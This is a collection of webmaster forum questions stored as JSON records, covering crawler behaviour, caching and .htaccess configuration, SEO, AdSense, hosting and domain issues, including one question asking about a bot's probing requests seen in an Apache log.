{"id":"58472","title":"Why does Google keep hitting only one MP3 file?","text":"I have a bunch of Mp3 files on my site, and all if them are in the sitemap to allow search engines that log mp3 files to know about them. For some reason, every day or two, Google keeps hitting the same file. The weird part is, it's file index 11. Not the top, not the bottom, and always the same file. Does anybody have a clue on why that would be happening? In contrast, I've had Bing hit the three files that are currently visible without searching. [18-Feb-2014 22:51:21 America\/Denver] Array ( [DOCUMENT_ROOT] => \/home1\/landmat7\/public_html [GATEWAY_INTERFACE] => CGI\/1.1 [HTTP_ACCEPT_ENCODING] => gzip,deflate [HTTP_CONNECTION] => Keep-alive [HTTP_HOST] => www.landmarkmissionarybaptistarizona.com [HTTP_USER_AGENT] => Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html) [PATH] => \/bin:\/usr\/bin [REDIRECT_STATUS] => 200 [REDIRECT_URL] => \/recordings\/2011-06-05\/sermon.Pastor Antonucci.Leftovers II.mp3 [REDIRECT_dont_vary] => 1 [REDIRECT_file_gzip] => \/ramdisk\/cpud\/status [REDIRECT_no_gzip] => 1 [REMOTE_ADDR] => 66.249.74.42 [REMOTE_PORT] => 50666 [REQUEST_METHOD] => GET [REQUEST_URI] => \/recordings\/2011-06-05\/sermon.Pastor%20Antonucci.Leftovers%20II.mp3 [SCRIPT_FILENAME] => FILE.php [SCRIPT_NAME] => FILE.php [SERVER_ADDR] => 69.89.31.250 [SERVER_NAME] => www.landmarkmissionarybaptistarizona.com [SERVER_PORT] => 80 [SERVER_PROTOCOL] => HTTP\/1.1 [SERVER_SIGNATURE] => <address>Apache Server at www.landmarkmissionarybaptistarizona.com Port 80<\/address> [SERVER_SOFTWARE] => Apache [file_gzip] => \/ramdisk\/cpud\/status [PHP_SELF] => FILE.php [REQUEST_TIME_FLOAT] => 1392789081.649 [REQUEST_TIME] => 1392789081 ) [18-Feb-2014 22:51:21 America\/Denver] Array ( [Accept-Encoding] => gzip,deflate [Connection] => Keep-alive [Host] => www.landmarkmissionarybaptistarizona.com [User-Agent] => Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html) )"}
{"id":"57429","title":"Can I rent a multipurpose server for gaming and web hosting?","text":"I am thinking about renting a server. The problem is, there aren't just \"servers\", like one would build at home, there are game servers, web servers, etc. Now the first question would be: can I rent a combined web and game server? Because if that's possible, I did not find anything on the internet about such service. If I would need a separate web server, that's still okay, but then there are some other problems about the game server part. Normal hosting services may give you the possibility to host a server for a certain game, like Minecraft. But that's it. No switching options, just ONE type of server. And if you want another type of game server, rent another one. But I would need to switch between several games. Also, normally you get some kind of interface to interact with the server. I don't like that method either, because I sometimes need more control over things I can't control in the control panels there. I would really like to just host a server at home, but my bandwidth kind of kills that dream."}
{"id":"33082","title":"Is there a Java-based web browser that doesn't follow hyperlinks properly? ","text":"Looking through my logs, I get this error a lot: > A potentially dangerous Request.Path value was detected from the client (:). The error is usually due to someone navigating to a URL like this: > `http:\/\/octopusdeploy.com\/blog\/https:\/tfspreview.com` You'll notice that what should have been a link to `https:\/\/tfs...` has become `https:\/tfs...`, which the web browser is obviously intepreting as being a relative path instead of an absolute URL. However, if you do a view-source on the original page (http:\/\/octopusdeploy.com\/blog) you'll find links to `https:\/\/tfs...`, but none to `https:\/tfs..`. The client seems to be getting the links wrong. Looking through the request details I notice that this isn't coming from any ordinary web browser, but from a Java client: Platform: Unknown Browser: Unknown (Version 0.0) User Agent: Java\/1.6.0_04 Is there a known, badly written Java web browser, maybe running on a smart phone somewhere, that just doesn't know how to follow hyperlinks? Have you seen similar errors? Secondly, if I were to block all requests from user agents identifying as Java bots (as per this post), am I likely to break any known important bots or devices?"}
{"id":"33081","title":"Godaddy and .NET Redemption Period","text":"I have a .NET domain that expired 42 days ago. Only today the DNS service for my domain was shut down and i realized that the domain was going to expire. The domain was sold and it seems i can't get it back. Anything i can do? * * * That is for .COM domains. I also have a .ORG domain that is in the Redemption Period and i got it back successfully. It's everywhere in the net that the domains has a 45-days grace period and than a 30-days redintion period. WHY godaddy takes a profit out of this and doesn't follow ICANN guidelines? http:\/\/www.icann.org\/en\/resources\/registrars\/gtld-lifecycle"}
{"id":"14850","title":"Domain name, which one is more appropriate?","text":"HI guys, I have 2 domains and want to start a hardware related website, but I want to make sure which one is the correct term in English: 1- Hardwareden.com 2- HardwaresDen.com plesae note the \"S\"! Thanks."}
{"id":"18554","title":"How can I distribute traffic web requests geographically?","text":"If I have two web frontends. one in Dallas, one in London. How can I best route traffic from the US to Dallas, and abroad to London?"}
{"id":"18551","title":"Photo printing service API for my photo sharing website","text":"I am triying to find a good photo printing service that will allow users of my photo sharing website to order print versions of the photos that they have uploaded to my site. I have looked at Snapfish and Shutterfly but wondered if there was any others that would do this. As far as I can tell snapfish have an affiliate program that pays a percentage for referrals to their site and an API called publisher which lets developers create apps that use photos already on the snapfish site but cant seem to see a way in which users of my site would be able to print on snapfish (without re-uploading to snapfish). What I want to be able to do is the following - 1. User uploads to my website 2. Clicks a 'Print' button 3. User gets redirected to 3rd party print service along with the photos they want to print 4. User signs in \/ registers with 3rd party service 5. Sees the photos they selected from my site 6. Completes order process Does anyone know of a service which will allow me to do this? Does snapfish or shutterfly work in this way? I know flickr can do this but I guess Snapfish are using the Flickr API to retrieve photos. I dont want users to have to download from my site and then re-upload to snapfish for example to print. Any suggestions?"}
{"id":"69010","title":"How to change number of maximum threads in LAMPP","text":"How do I change maximum number of concurrent users in LAMPP. I found answers for apache and XAMPP but that does not solve my problem. I have also tried changing this file, `opt\/lampp\/etc\/extra\/httpd-mpm.conf`, but I do not see any effect on changing any parameter. I am using apache jmeter for testing. I have tried changing MaxClients too as said here. http:\/\/www.genericarticles.com\/mediawiki\/index.php?title=How_to_optimize_apache_web_server_for_maximum_concurrent_connections_or_increase_max_clients_in_apache#mpm_prefork_module Here is my httpd-mpm.conf, # # Server-Pool Management (MPM specific) # # # PidFile: The file in which the server should record its process # identification number when it starts. # # Note that this is the default PidFile for most MPMs. # <IfModule !mpm_netware_module> PidFile \"logs\/httpd.pid\" <\/IfModule> # # Only one of the below sections will be relevant on your # installed httpd. Use \"apachectl -l\" to find out the # active mpm. # # prefork MPM # StartServers: number of server processes to start # MinSpareServers: minimum number of server processes which are kept spare # MaxSpareServers: maximum number of server processes which are kept spare # MaxRequestWorkers: maximum number of server processes allowed to start # MaxConnectionsPerChild: maximum number of connections a server process serves # before terminating <IfModule mpm_prefork_module> StartServers 5 MinSpareServers 5 MaxSpareServers 10 MaxRequestWorkers 150 MaxConnectionsPerChild 0 <\/IfModule> # worker MPM # StartServers: initial number of server processes to start # MinSpareThreads: minimum number of worker threads which are kept spare # MaxSpareThreads: maximum number of worker threads which are kept spare # ThreadsPerChild: constant number of worker threads in each server process # MaxRequestWorkers: maximum number of worker threads # MaxConnectionsPerChild: maximum number of connections a server process serves # before terminating <IfModule mpm_worker_module> StartServers 2 MaxClients 1000 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestWorkers 150 MaxConnectionsPerChild 0 <\/IfModule> # event MPM # StartServers: initial number of server processes to start # MinSpareThreads: minimum number of worker threads which are kept spare # MaxSpareThreads: maximum number of worker threads which are kept spare # ThreadsPerChild: constant number of worker threads in each server process # MaxRequestWorkers: maximum number of worker threads # MaxConnectionsPerChild: maximum number of connections a server process serves # before terminating <IfModule mpm_event_module> StartServers 2 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestWorkers 150 MaxConnectionsPerChild 0 <\/IfModule> # NetWare MPM # ThreadStackSize: Stack size allocated for each worker thread # StartThreads: Number of worker threads launched at server startup # MinSpareThreads: Minimum number of idle threads, to handle request spikes # MaxSpareThreads: Maximum number of idle threads # MaxThreads: Maximum number of worker threads alive at the same time # MaxConnectionsPerChild: Maximum number of connections a thread serves. It # is recommended that the default value of 0 be set # for this directive on NetWare. This will allow the # thread to continue to service requests indefinitely. <IfModule mpm_netware_module> ThreadStackSize 65536 StartThreads 250 MinSpareThreads 25 MaxSpareThreads 250 MaxThreads 1000 MaxConnectionsPerChild 0 <\/IfModule> # OS\/2 MPM # StartServers: Number of server processes to maintain # MinSpareThreads: Minimum number of idle threads per process, # to handle request spikes # MaxSpareThreads: Maximum number of idle threads per process # MaxConnectionsPerChild: Maximum number of connections per server process <IfModule mpm_mpmt_os2_module> StartServers 2 MinSpareThreads 5 MaxSpareThreads 10 MaxConnectionsPerChild 0 <\/IfModule> # WinNT MPM # ThreadsPerChild: constant number of worker threads in the server process # MaxConnectionsPerChild: maximum number of connections a server process serves <IfModule mpm_winnt_module> ThreadsPerChild 150 MaxConnectionsPerChild 0 <\/IfModule> # The maximum number of free Kbytes that every allocator is allowed # to hold without calling free(). In threaded MPMs, every thread has its own # allocator. When not set, or when set to zero, the threshold will be set to # unlimited. <IfModule !mpm_netware_module> MaxMemFree 2048 <\/IfModule> <IfModule mpm_netware_module> MaxMemFree 100 <\/IfModule>"}
{"id":"48683","title":"Dynamic Meta Keywords","text":"Is it a problem to change the meta keywords dynamically depending on the content of the page \/ website? for example if it is a news website and this weeks top articles are about elephants in japan I would change the keywords accordingly, and when that article is less popular I would replace them with other key words Technically I know it is not a problem. How do search engines treat this kind of behvaior? I know that if the keyword list is too long they can ban websites.. What about the rate of change for the keywords?"}
{"id":"38619","title":"Sending Mass Emails","text":"I have a massive list of users who registered for accounts and opted into a mailing list on my web site and I am interested in sending out a weekly newsletter. How should I go about doing this. I tried sending it out through my host server, but I received a notice stating that if I did it again they would kick me off the server. Are there any good companies that are designed for this type of thing? I need to find a company that will support this and show me some sort of report about how many emails get opened, deleted, opened then deleted, etc. Any recommendations?"}
{"id":"38618","title":"301 redirect to 404 page?","text":"Currently i'm migrating www. prefix from my urls and use htaccess to do the job. Since we have new software and cleaned database some of the old urls doesnt exists anymore. Therefore some requests redirect to 404 page. 1. www.domain.com\/old-page # htaccess redirect to non-www url, 301 2. domain.com\/old-page # page does not exists, 404 Does this method have any SEO issues, or even affect pagerank? Or should i check the page existence before redirecting and show 404 without redirect?"}
{"id":"65634","title":"Track traffic from Social Media in Google Analytics while using a URL shortening service","text":"A company that does social media management for us (creates content, posts updates etc) uses a URL shortening service so they can give statistics in their dashboard about traffic from SM. They add a link in an update which links to the URL shortening service, which redirects to the website. The shortning serice uses 310 redirests on the URLs. e.g: The link on facebook\/twiter might be `http:\/\/wu.to\/example` which in turn 301 redirects straight to the website URL `http:\/\/example.com\/` However due to this it means we cannot view the traffic via the 'social' section on Google Analytics and I'm having a hard time finding any traffic that comes in via the URL shortening service URLs. Does anybody know where I might find the traffic in GA? I presumed it would be in 'all referrals' section, but I cannot find anything in there, or elsewhere from `http:\/\/wu.to\/`, which is the domain where the redirects are from. Should GA be able to track traffic that has come in via redirects?"}
{"id":"38613","title":"Reviewing an advertiser \/ ads","text":"I recently got a direct ad campaign for one of my sites. The advertiser agreed to my price without much bargaining. No contract was signed, but I had specified pre payment as part of our agreement. The advertiser is not a major network. Currently they are showing affiliate ads. Some things about this deal seems fishy to me - The amount was direct deposited to our account, not transferred from their company account. - Just below the visible ad, I can see a hidden iframe which contains the flight search widget for a major airline (Could this be cookie stuffing?) - They are contacting me from a gmail account - They did not insist for a signed contact How can I ensure that the advertiser is legitimate and is not using the adslot for illegal purpose?"}
{"id":"38611","title":"Do Spambots have access to unlimited IP addresses?","text":"I have been attacked for weeks by the same spambot trying to brute force the login page. I have a login security module now installed on my Drupal 6 website and it bans on IP after x amount of attempts. It's been going on for ever and I have banned about 1000 IP addresses. Is there any point in me banning on IP due to the spambot having access to unlimited IP addresses or will they run out of them eventually?"}
{"id":"1524","title":"Is there a self hosted solution similar to Uservoice?","text":"In the early days of Stack Overflow, Uservoice was used to get feedback, bug reports and feature requests from the community. While SO did out grow Uservoice, many sites would not. I'd like to use a system very much like Uservoice for a site that I am launching. The problem is, I really prefer to host all moving parts myself. I don't care if its free or proprietary, I just need something that will work on a typical Linux server. Can anyone suggest something? **Edit** I want something self hosted because: * Privacy is a major concern for my users * I'd like to `programmatically` reward participation on the 'uservoice' with rewards on the actual site (ideally, that's just a few queries away) * I'd like to be able to change the 'rules' on the 'uservoice' site if needed, but its not a major requirement. * I trust my own backups more than anyone else's :)"}
{"id":"48540","title":"Creating date based back entries for a blog and its site registration","text":"So I am showing a blog to a colleague and telling him how the author has been regularly blogging for over ten years now. My colleague tells me that anyone can register a domain name and start entries from say circa 2000. When I argued that the site registration date can easily show that the registration was done recently he put forward two arguments: 1. The author can claim that he moved from an old domain name which was registered many years ago and lapsed. So he took the data and rebuilt it in the new site. 2. The author can buy an expired domain which was on the internet for many years. I am not sure if these ways can work to con someone to believing you have been a blogger for over a decade. But I do not have enough expertise in the topic to refute him. So I thought I would ask the wise community here at StackExchange. Can anyone give me some insight?"}
{"id":"13089","title":"Joomla change read more link to blog layout id","text":"I have a module with articles created with the displaynews plugin. If I click the read more of the articles they go to the full article. But I want them to go to a category blog layout and scroll to the correct article (using the id). Any idea how this works? I don't even know how to change the link of the read more.."}
{"id":"28482","title":"Keyword is really a complete address in Google Analytics","text":"The top keyword for my really small website (under 50 visits\/month) is the complete address, with http:\/\/ and all. I doubt 14 people would go to a search engine and paste the address into the search box. Does this kind of result has any special significance?"}
{"id":"13085","title":"How to correctly index multilanguage home page while having a default portal language","text":"Hi there this is my first post, so first of all, sorry for being boring or for any mistakes. I have read many posts on how to correctly index a multi-language site but none of them really answer my question. This is my scenario: I have a two language (Italian, and English) site [www.zicaffe.com] with all contents correctly localized (meta infos, title, page descriptions and so on). As suggested by Google each page has its unique URL (with localized keywords) that identifies a page and its (localized) content (eg. www.zicaffe.com\/en\/company.aspx identifies the English version while www.zicaffe.com\/it\/azienda.aspx the Italian one). Each page includes a cross- link which allows users to manually switch to the other available language. Apparently this is supposed to be the perfect scenario, but there's an exception regarding the home (index) page: Accessing www.zicaffe.com, the site automatically redirects the browser, through a 301 Moved permanently, to a localized version of the page: www.zicaffe.com\/en\/home.aspx if the browser send en or en-US accept-language in the header; to www.zicaffe.com\/it\/home.aspx if the browser accepts it or it-IT or to the default language (Italian yet) otherwise. These are the questions: 1) Since googlebot is not sending any accept language in the header, it is going to show only the default language version of the home page in the SERP? 2) For some reason (probably because we are an Italian company?), right now only the Italian pages (default language) have a page rank and a sitelink. Is it normal? and the most important: 3) What happens if in the future I change the default site language to English? Am I going to lose all the good results achieved for Italian queries? Please do not suggest to read the following posts: * http:\/\/www.google.com\/support\/forum\/p\/Webmasters\/thread?tid=37173fa9cff11a12&hl=en * http:\/\/googlewebmastercentral.blogspot.com\/2010\/03\/working-with-multilingual-websites.html Any other answer would be precious. Regards."}
{"id":"48412","title":"Adsense aproval","text":"i just wanted to ask if somebody can help me get an adsense approval. they rejected many applications os mine. first they said it was copyrighted content, so i removed it but after that they said the website does not comply with the adsense program policies. and I cant figure out what is wrong?? juztanotherblog.com PS : I m using analutics but not webmasters, is it required to get an aproval?? plz help"}
{"id":"13083","title":"Best approach to have Google index content primarily generated by Javascript","text":"I'm developing an app where customers can drop in a Javascript tag onto their website, and it will generate content. What is the best approach to have Google index this content and associate it with the site's URL. I know that Google doesn't execute JS, so I'm thinking of different angles. I could have Google index the content on the site where the content is comping from (not the customer's site) but then it obviously will be indexed with the wrong URL. Could I somehow get Google to display a different URL? Is there another approach to get Google to index content from another site but associate it with The constraints are: * The customer website can only drop in one section of code (ideally a JS tag). * I have full control of the original content, albeit on a different site. * The customer website can't do any server-side processing to specifically solve this. Ideally, the web visitors would see the JS generated content when viewing the site, but Google bot would get fed content from another web page (which is the same content, but from the raw source). I just don't know how to do this without JS."}
{"id":"44230","title":"Javascript Requester IP Address","text":"Is it possible to get a visitor\/requester public (WAN\/external) IP address with pure Javascript? IE. without the use of additional JS libraries like jQuery? If so, how?"}
{"id":"68849","title":"Point a domain to another domain","text":"What I want to do is, I want to point my domain which I registered from Dot TK ( a free domain registration service ) to another domain which I am currently hosting on Freeola ( a hosting service ). But I don't want to use domain parking because Freeola doesn't allow it. So I want ask if there is any other option other than parking. If parking is the only option then, can we park a domain even if the the hosting company is not allowing it? Basically, what I want is: If my domain name is `example.tk` and the domain which is hosted on Freeola is `example.com` then can I do the following things: 1. When a user goes to `example.tk` the content of `example.com` is shown but the url in the address bar should remain `example.tk`. 2. When a user goes to `example.tk\/sample-page` the content of `example.com\/sample-page` is shown but the url in the address bar should remain `example.tk\/sample-page`. Please excuse me if this is a silly question because I am just a beginner."}
{"id":"69018","title":"Leveraging browser caching issue","text":"I am triying to obtain a good calification on Page Speed test, now I've obtained 85 points but I am still on the problem of \"Leverage browser caching\". This is the Page Speed test message about this problem: Leverage browser caching Setting an expiry date or a maximum age in the HTTP headers for static resources instructs the browser to load previously downloaded resources from local disk rather than over the network. Leverage browser caching for the following cacheable resources: https:\/\/cdn.syndication.twimg.com\/…ollowing&lang=es&screen_names=lomasguapa (10 minutes) http:\/\/platform.twitter.com\/widgets.js (30 minutes) https:\/\/apis.google.com\/js\/api.js (30 minutes) https:\/\/apis.google.com\/js\/platform.js (30 minutes) http:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js (60 minutes) http:\/\/pagead2.googlesyndication.com\/pagead\/osd.js (60 minutes) https:\/\/oauth.googleusercontent.com\/…e:rpc:shindig.random:shindig.sha1.js?c=2 (60 minutes) http:\/\/stats.g.doubleclick.net\/dc.js (2 hours) http:\/\/www.google-analytics.com\/ga.js (2 hours) However I have seen in many source on Internet that this solution works for this case, the solution is a modification of .htaccess file. There is the first block. ## EXPIRES CACHING ## **<IfModule mod_expires.c> ExpiresActive On ExpiresByType image\/jpg \"access 1 year\" ExpiresByType image\/jpeg \"access 1 year\" ExpiresByType image\/gif \"access 1 year\" ExpiresByType image\/png \"access 1 year\" ExpiresByType text\/css \"access 1 month\" ExpiresByType text\/html \"access 1 month\" ExpiresByType application\/pdf \"access 1 month\" ExpiresByType text\/x-javascript \"access 1 month\" ExpiresByType application\/x-shockwave-flash \"access 1 month\" ExpiresByType image\/x-icon \"access 1 year\" ExpiresDefault \"access 1 month\" <\/IfModule>** ## EXPIRES CACHING ## # REST OF MY .HTACCESS # BEGIN Better WP Security Options -Indexes Order Allow,Deny Deny from env=DenyAccess Allow from all SetEnvIF REMOTE_ADDR \"^1\\.234\\.83\\.77$\" DenyAccess SetEnvIF X-FORWARDED-FOR \"^1\\.234\\.83\\.77$\" DenyAccess SetEnvIF X-CLUSTER-CLIENT-IP \"^1\\.234\\.83\\.77$\" DenyAccess SetEnvIF REMOTE_ADDR \"^211\\.110\\.140\\.70$\" DenyAccess SetEnvIF X-FORWARDED-FOR \"^211\\.110\\.140\\.70$\" DenyAccess SetEnvIF X-CLUSTER-CLIENT-IP \"^211\\.110\\.140\\.70$\" DenyAccess SetEnvIF REMOTE_ADDR \"^91\\.200\\.13\\.45$\" DenyAccess SetEnvIF X-FORWARDED-FOR \"^91\\.200\\.13\\.45$\" DenyAccess SetEnvIF X-CLUSTER-CLIENT-IP \"^91\\.200\\.13\\.45$\" DenyAccess SetEnvIF REMOTE_ADDR \"^200\\.27\\.231\\.114$\" DenyAccess SetEnvIF X-FORWARDED-FOR \"^200\\.27\\.231\\.114$\" DenyAccess SetEnvIF X-CLUSTER-CLIENT-IP \"^200\\.27\\.231\\.114$\" DenyAccess # END Better WP Security # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress <IfModule mod_deflate.c> # compress text, HTML, JavaScript, CSS, and XML (for more page speed) AddOutputFilterByType DEFLATE text\/plain AddOutputFilterByType DEFLATE text\/html AddOutputFilterByType DEFLATE text\/xml AddOutputFilterByType DEFLATE text\/css AddOutputFilterByType DEFLATE application\/xml AddOutputFilterByType DEFLATE application\/xhtml+xml AddOutputFilterByType DEFLATE application\/rss+xml AddOutputFilterByType DEFLATE application\/javascript AddOutputFilterByType DEFLATE application\/x-javascript <\/IfModule> # remove browser bugs (for more page speed) BrowserMatch ^Mozilla\/4 gzip-only-text\/html BrowserMatch ^Mozilla\/4\\.0[678] no-gzip BrowserMatch \\bMSIE !no-gzip !gzip-only-text\/html Header append Vary User-Agent # END The case is that solution does not work and the page speed is showing again the caching problem. I put all the .htaccess in order to give more information, may be some lines cause any king of problem."}
{"id":"18772","title":"How to come back to old URL already redirected with 301? What is the impact to SEO?","text":"I have recently moved my old site (built with DreamWeaver) to a new one (with new design and using WordPress). It was done last August, 1st and as the URLs with WP changed completely, I had to do redirects 301 with my htaccess file to all my old URLs. It occurs now that my new site results worse than the old one (bounce rate, time on site, sales conversion, traffic, etc) and I am considering seriously move back to the old pages. My question are: 1. how should I handle the redirects in these case? Should I now keep the redirects already done (old to new URLs) and now create also a new redirects from the new one to the old uURLsls? 2. How is the best way to handle it in order to avoid losing traffic with search engines? 3. Does anybody have already faced this situation and move back to the old URLs? if yes, what were the consequences related to your SEO and positioning in search engines ?Did you recovered the old search positioning?"}
{"id":"18770","title":"How to index a search engine website","text":"I'm a webmaster and I have a question about how google or other search engines index site that are search engines. In a normal site, from the homepage if I created a link to all the section and pages of my websites, google index all the pages of my sites. But sometimes I see sites that they don't have this link to internal pages, for example: search \"waitress london\" in google, you find this result: www.jobrapido.co.uk\/?q=waitress%20london But if you go on the site homepage www.jobrapido.co.uk you have only a search form like google, there is no link to internal search, and I can't find external site linkink to www.jobrapido.co.uk\/?q=waitress%20london So my question is: How google know this link? Any ideas?"}
{"id":"33557","title":"HTTP Header Cache Time: s-maxage and max-age","text":"I am setting up a CDN for my website, I found the following sample for adding to the 'httpd.conf' file, this is used to adjust the cache-time for client and CDN: ExpiresActive On ExpiresByType image\/gif \"access plus 1 year\" ExpiresByType image\/jpeg \"access plus 1 year\" ExpiresByType image\/x-icon \"access plus 1 year\" ExpiresByType image\/png \"access plus 1 year\" ExpiresByType text\/css \"access plus 1 year\" ExpiresByType text\/js \"access plus 1 year\" ExpiresByType application\/x-javascript \"access plus 1 year\" ExpiresByType application\/javascript \"access plus 1 year\" ExpiresByType application\/x-shockwave-flash \"access plus 1 year\" <FilesMatch \"\\.(gif|jpe?g|png|ico|css|js|swf)$\"> Header set Cache-Control \"s-maxage=600\" <\/FilesMatch> Now suppose I updated an image file, the CDN (s-maxage=600) would refresh in 600 seconds, but how about the client? Since 'max-age' is set to 1 year, if client re-visit my web, does it still send HTTP request to check for updated contents and so download the new version? How does this work actually? Thanks!!"}
{"id":"27833","title":"Allow visitor to print something they bought only 1 time","text":"I am doing a website that needs to only let the customer print out what they bought 1 time. There are websites that currently do this and they mentioned Adobe Flash Player, Adobe AIR and the Sheet Music Plus AIR application. We would need to block programs like adobe distillation and any virtual printers while only allowing an instant print after purchase. I am not an adobe air developer. Would their be any other ways to accomplish this and what would be the easiest. Thank you. Would their be a way to not allow printing to a virtual printer ie adobe pdf?"}
{"id":"48067","title":"Any drawbacks by including Google Analytics in your main js file?","text":"I'm using MVC that is compressing and minifying all my `js` files into one file so basically there is only one request. As far as I see every page has Google Analytics code below their `js` includes. If I will not do that but instead add it in my main `js` file will it cause any problems?"}
{"id":"20282","title":"Why are nonexistant files listed in the TRANSFER log?","text":"This snippit from my apache log reflects some piece of malware casually browsing through my site for some unknown purpose. The most puzzling thing to me is that the GET address doesn't correspond to anything that exists, so how is this in the transfer log and not the error log? Aside from that, what agent is doing this, and why? 60.169.78.42 - - [29\/Sep\/2011:18:49:53 -0500] \"GET \/wp-admin\/post-new.php HTTP\/1.0\" 404 301 \"http:\/\/www.boardspace.net\/cgi-bin\/login.cgi$kx_http_post$cookie=on&language=&password=super123&pname=biffarcarm\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:53 -0500] \"GET \/member\/manage_blog.php?tab=add HTTP\/1.0\" 404 302 \"http:\/\/www.boardspace.net\/wp-admin\/post-new.php\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:54 -0500] \"GET \/profile_blog_new.php HTTP\/1.0\" 404 300 \"http:\/\/www.boardspace.net\/member\/manage_blog.php?tab=add\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:55 -0500] \"GET \/account\/submit\/add-blog\/ HTTP\/1.0\" 404 304 \"http:\/\/www.boardspace.net\/profile_blog_new.php\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:55 -0500] \"GET \/blogs.php?action=new_post HTTP\/1.0\" 404 289 \"http:\/\/www.boardspace.net\/account\/submit\/add-blog\/\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:56 -0500] \"GET \/blogs\/my_page\/add\/ HTTP\/1.0\" 404 298 \"http:\/\/www.boardspace.net\/blogs.php?action=new_post\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:56 -0500] \"GET \/blogs.php?action=write HTTP\/1.0\" 404 289 \"http:\/\/www.boardspace.net\/blogs\/my_page\/add\/\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:57 -0500] \"GET \/my_blogs&action=add HTTP\/1.0\" 404 303 \"http:\/\/www.boardspace.net\/blogs.php?action=write\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 66.251.84.28 - - [29\/Sep\/2011:18:49:56 -0500] \"GET \/cgi-bin\/login.cgi?pname=DrRaven&language=english HTTP\/1.1\" 200 21878 \"-\" \"Mozilla\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMNTDF; InfoPath.2)\" 60.169.78.42 - - [29\/Sep\/2011:18:49:57 -0500] \"GET \/index.php?do=\/blog\/add\/ HTTP\/1.0\" 404 289 \"http:\/\/www.boardspace.net\/my_blogs&action=add\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:58 -0500] \"GET \/blog_edit.php HTTP\/1.0\" 404 293 \"http:\/\/www.boardspace.net\/index.php?do=\/blog\/add\/\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\" 60.169.78.42 - - [29\/Sep\/2011:18:49:58 -0500] \"GET \/manager\/add_entry.php HTTP\/1.0\" 404 301 \"http:\/\/www.boardspace.net\/blog_edit.php\" \"Mozilla\/5.0 (Windows NT 6.1; rv:6.0.2) Gecko\/20100101 Firefox\/6.0.2\""}
{"id":"67172","title":"Query Data from www or nowww?","text":"I'm currently looking at a Google Webmaster Tools Account that has been set up by the client using both www and nowww. Traffic is being redirected to the www version. In order to analyze Search Queries correctly, which of the two Accounts should I use? I would go for the www account, since it is where traffic is flowing to and where numbers are slight higher. Still wanted to check though."}
{"id":"29755","title":"What to do if Google Adwords keyword tool suggests \"no searches\"","text":"I believe I have a great idea, and want to test the market before I create a site for it. However, I'm having some difficulty with Google AdWords - I'm a total beginner with SEO\/SEM. When I plug in keywords into AdWords tool, I get no results at all, globally, unless I put it some very very broad keyword that aren't really related to my idea. I guess this means no one is searching for it? That very well can be. However, due to the unique nature of my idea, I believe people aren't searching for it because they don't know they _can_ do something like that yet. I know you definitely can do something like that - I just finished a proof of concept, so it's a valid idea that solves an actual problem. But, what to do if no one is searching for it? Once I make the site, how do I get visitors to it? Is organic link building my only road to success?"}
{"id":"10194","title":"XML Sitemaps, what should they link to?","text":"If I want to make an XML sitemap for my site, do I need to map every forum topic in my forum as a separate URL? If this would help, how do you deal with the hugeness of the sitemap for forums with over 100,000 urls? Or is it just meant to map entry pages to the rest of your content? And can you semantically nest URLS?"}
{"id":"57936","title":"Preventing links with query parameters from being indexed by Google","text":"I manage a mobile version of a desktop site. The mobile site has an mdot subdomain and is served from a different server. As part of recommended best practices by Google, I've included a link on the mobile site which allows the user to opt out of the mobile experience and view the desktop site instead. In order to monitor the number of users who opt out I've appended a query parameter (?MobileOptOut=1) to the corresponding desktop link. To illustrate this: If a user on the mobile site visiting http:\/\/m.example.com\/products\/1127 clicks the opt out link he's taken to http:\/\/www.example.com\/products\/1127?MobileOptOut=1 Trouble is, Google is indexing the page with the ?MobileOptOut=1. Even more incredibly, this page actually ranks higher than the correct version without this parameter (http:\/\/www.example.com\/products\/1127)! Is there any way I can tell Google's crawlers to ignore pages with this parameter - using Google's Webmaster Tools?"}
{"id":"10191","title":"Why would a website's URL scheme be changed from short and user-friendly URLs to long URLs?","text":"I wonder why some website changes their short and user-friendly URLs to long URLs - examples: > cricinfo.com ----> espncricinfo.com > > indiafm.com ---> bollywoodhungama.com Why would a webmaster choose to make that change?"}
